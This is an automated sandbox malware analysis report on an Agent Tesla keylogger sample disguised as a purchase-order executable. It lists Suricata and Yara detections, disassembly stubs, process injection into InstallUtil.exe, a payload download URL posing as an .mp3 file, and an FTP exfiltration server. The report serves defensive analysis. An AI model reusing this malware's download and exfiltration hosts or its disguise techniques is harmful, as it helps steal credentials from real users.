Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E3E410h	0_2_05E3E350
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E3E410h	0_2_05E3E358
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E36744h	0_2_05E366E0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E36744h	0_2_05E366E5
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E37406h	0_2_05E37220
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_05EED330
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06183DC5h	6_2_06183C08
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06183DC5h	6_2_06183E8B
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_06182BB8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_06182BC0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06183DC5h	6_2_06183BF8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06197406h	6_2_06197212
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06197406h	6_2_06197220
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06196744h	6_2_061966D0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 06196744h	6_2_061966E0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 0619E410h	6_2_0619E358
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 0619E410h	6_2_0619E350
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	6_2_0624D330
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BE3DC5h	8_2_05BE3C08
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	8_2_05BE2BB8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BE3DC5h	8_2_05BE3BF8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	8_2_05BE2BC0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BFE410h	8_2_05BFE358
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BFE410h	8_2_05BFE350
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BF6744h	8_2_05BF66E0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BF6744h	8_2_05BF66D0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BF7406h	8_2_05BF7220
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then jmp 05BF7406h	8_2_05BF7212
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	8_2_05CAD330

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.8:49707 -> 5.2.84.236:63484
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.8:49706 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.8:49713 -> 5.2.84.236:61512
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.8:49712 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.8:49716 -> 5.2.84.236:64722
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.8:49715 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 67.212.175.162:443 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 67.212.175.162:443 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 67.212.175.162:443 -> 192.168.2.8:49710
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 67.212.175.162:443 -> 192.168.2.8:49710
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 67.212.175.162:443 -> 192.168.2.8:49714
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 67.212.175.162:443 -> 192.168.2.8:49714

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 5.2.84.236 ports 63484,64722,61512,1,2,21

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 5.2.84.236:63484

Source: global traffic	HTTP traffic detected: GET /servex/Evzbwt.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servex/Evzbwt.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servex/Evzbwt.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 67.212.175.162 67.212.175.162
Source: Joe Sandbox View	IP Address: 5.2.84.236 5.2.84.236

Source: Joe Sandbox View	ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS
Source: Joe Sandbox View	ASN Name: ALASTYRTR ALASTYRTR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

FTP traffic detected: 5.2.84.236:21 -> 192.168.2.8:49706 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /servex/Evzbwt.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servex/Evzbwt.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servex/Evzbwt.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: wymascensores.com
Source: global traffic	DNS traffic detected: DNS query: ftp.alternatifplastik.com

Source: InstallUtil.exe, 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1629857451.00000000028DC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1709180379.000000000285D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.2691701821.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.alternatifplastik.com
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1652064396.00000000046A6000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000004306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com/servex/Evzbwt.mp3

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.8:49714 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.Xpnzea.exe.3d34a70.4.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 2.2.InstallUtil.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E211C8 NtResumeThread,	0_2_05E211C8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E211C1 NtResumeThread,	0_2_05E211C1
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3FCA8 NtProtectVirtualMemory,	0_2_05E3FCA8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3FCA0 NtProtectVirtualMemory,	0_2_05E3FCA0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_061811C8 NtResumeThread,	6_2_061811C8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_061811C1 NtResumeThread,	6_2_061811C1
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619FCA8 NtProtectVirtualMemory,	6_2_0619FCA8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619FCA0 NtProtectVirtualMemory,	6_2_0619FCA0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BE11C8 NtResumeThread,	8_2_05BE11C8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BE11C1 NtResumeThread,	8_2_05BE11C1
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFFCA8 NtProtectVirtualMemory,	8_2_05BFFCA8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFFCA0 NtProtectVirtualMemory,	8_2_05BFFCA0

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_0278C340	0_2_0278C340
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_02787EF8	0_2_02787EF8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_02787EFD	0_2_02787EFD
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C972F0	0_2_05C972F0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C97FAB	0_2_05C97FAB
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C9F805	0_2_05C9F805
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C935E8	0_2_05C935E8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C985A0	0_2_05C985A0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C97509	0_2_05C97509
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C904E0	0_2_05C904E0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C91618	0_2_05C91618
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C972EB	0_2_05C972EB
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C96F39	0_2_05C96F39
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C96B38	0_2_05C96B38
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CC3860	0_2_05CC3860
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CC0658	0_2_05CC0658
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CC0668	0_2_05CC0668
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CC3B87	0_2_05CC3B87
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CC4A68	0_2_05CC4A68
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E23C08	0_2_05E23C08
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E22F48	0_2_05E22F48
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E22F39	0_2_05E22F39
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E23BF8	0_2_05E23BF8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3A4A0	0_2_05E3A4A0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E38374	0_2_05E38374
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E38EE0	0_2_05E38EE0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3CAC8	0_2_05E3CAC8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E335B8	0_2_05E335B8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3ED88	0_2_05E3ED88
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3A490	0_2_05E3A490
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E3CAB8	0_2_05E3CAB8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E70208	0_2_05E70208
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05E70218	0_2_05E70218
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05EE0040	0_2_05EE0040
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_0615D8C0	0_2_0615D8C0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_06140011	0_2_06140011
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_06140040	0_2_06140040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02654A60	2_2_02654A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02653E48	2_2_02653E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_0265CF28	2_2_0265CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02659C62	2_2_02659C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02654190	2_2_02654190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD56B0	2_2_05BD56B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD0040	2_2_05BD0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BDBCC8	2_2_05BDBCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD3F28	2_2_05BD3F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BDDBF8	2_2_05BDDBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD8B5A	2_2_05BD8B5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD2AE8	2_2_05BD2AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD321B	2_2_05BD321B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05BD4FD0	2_2_05BD4FD0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_02B0C340	6_2_02B0C340
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_02B07EF8	6_2_02B07EF8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_02B07EE8	6_2_02B07EE8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF72F0	6_2_05FF72F0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF7FA9	6_2_05FF7FA9
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FFF805	6_2_05FFF805
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF35E8	6_2_05FF35E8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF85A0	6_2_05FF85A0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF7509	6_2_05FF7509
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF04E0	6_2_05FF04E0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF04CF	6_2_05FF04CF
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF1618	6_2_05FF1618
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF1607	6_2_05FF1607
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF72E0	6_2_05FF72E0
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF6F6F	6_2_05FF6F6F
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF6B38	6_2_05FF6B38
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF6B36	6_2_05FF6B36
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06026E70	6_2_06026E70
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06023860	6_2_06023860
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06020658	6_2_06020658
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06020668	6_2_06020668
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06024A68	6_2_06024A68
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06023B87	6_2_06023B87
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06182F48	6_2_06182F48
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06183C08	6_2_06183C08
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06183E8B	6_2_06183E8B
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06182F3A	6_2_06182F3A
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06183BF8	6_2_06183BF8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0618F199	6_2_0618F199
